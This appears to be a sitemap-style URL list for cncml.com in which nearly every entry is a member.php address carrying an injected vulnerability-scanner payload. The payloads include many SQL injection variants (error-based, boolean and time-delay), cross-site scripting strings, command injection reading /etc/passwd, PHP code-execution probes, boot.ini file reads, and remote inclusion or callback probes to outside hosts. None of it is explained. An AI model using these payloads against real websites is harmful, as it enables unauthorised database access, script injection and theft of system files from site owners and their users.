http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%25'%20AND%2039=58%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(34=58)%20THEN%20'692490b7'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%2527 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%2527%20AND%2092=76%20%23 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%5B%5D 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%5C%22 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%5C' 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%bf%27 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7' 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7'%20AND%20'Uw'='Jg 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7'%20OR%20'oh'='oh'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(53=18)%20THEN%20'692490b7'%20ELSE%200x28%20END))%20AND%20'ot'='ot 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7'%22 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7')%20AND%2052=91%20AND%20('K7'='K7 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(18=23)%20THEN%20'692490b7'%20ELSE%200x28%20END))%20AND%20('Gz'='Gz 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7';%20IF(51=12)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7) 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7);%20IF(24=15)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b76633x3X6 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7JyI%3D 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7alert(42873) 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7e360 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=;print(md5(1122));%23 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=C:%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=dir 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=file:///c:/boot.ini 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=phpinfo 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=response.write(9412458*9542755) 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=set%7Cset&set 0.0001 http://www.cncml.com/member.php?mod=cml 0.0027 http://www.cncml.com/member.php?mod=cml!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/member.php?mod=cml%00' 0.0001 http://www.cncml.com/member.php?mod=cml%20 0.0001 http://www.cncml.com/member.php?mod=cml%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=cml%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?mod=cml%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/member.php?mod=cml%20AND%201997=PG_SLEEP(5) 0.0001 http://www.cncml.com/member.php?mod=cml%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?mod=cml%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=cml%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=cml%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/member.php?mod=cml%20AND%205=SLEEP(5) 0.0001 http://www.cncml.com/member.php?mod=cml%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?mod=cml%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=cml%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=cml%20AND%20PG_SLEEP(5) 0.0001 http://www.cncml.com/member.php?mod=cml%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/member.php?mod=cml%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=cml%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?mod=cml%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/member.php?mod=cml%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?mod=cml%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/member.php?mod=cml%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?mod=cml%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=cml%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?mod=cml%20OR%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/member.php?mod=cml%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?mod=cml%20OR%205=SLEEP(5) 0.0001 http://www.cncml.com/member.php?mod=cml%20OR%20@%60'%60%20AND%20(SELECT%20*%20FROM%20(SELECT%20COUNT(*),CONCAT(FLOOR(rand(0)*2),(SELECT%20USER()))a%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20a)b)%20OR%20@%60'%60 0.0001 http://www.cncml.com/member.php?mod=cml%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?mod=cml%20RLIKE%20(SELECT%20(CASE%20WHEN%20(16=16)%20THEN%200x636D6C%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/member.php?mod=cml%20RLIKE%20(SELECT%20(CASE%20WHEN%20(17=62)%20THEN%200x636D6C%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/member.php?mod=cml%20WAITFOR%20DELAY%20'0:0:5' 0.0001 http://www.cncml.com/member.php?mod=cml%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=cml%22%20AND%20%22P8%22=%22eM 0.0001 http://www.cncml.com/member.php?mod=cml%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/member.php?mod=cml%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/member.php?mod=cml%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/member.php?mod=cml%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/member.php?mod=cml%22)%20AND%2086=12%20AND%20(%22nq%22=%22nq 0.0001 http://www.cncml.com/member.php?mod=cml%25%22%29%20AND%2067%3D51%20AND%201%20like%28%22%25 0.0001 http://www.cncml.com/member.php?mod=cml%25%27%29%20AND%2011%3D11%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?mod=cml%25%27%29%20AND%2051%3D11%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?mod=cml%25%27%29%20AND%2062%3D68%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?mod=cml%25%27%29%20AND%2064%3D64%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?mod=cml%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 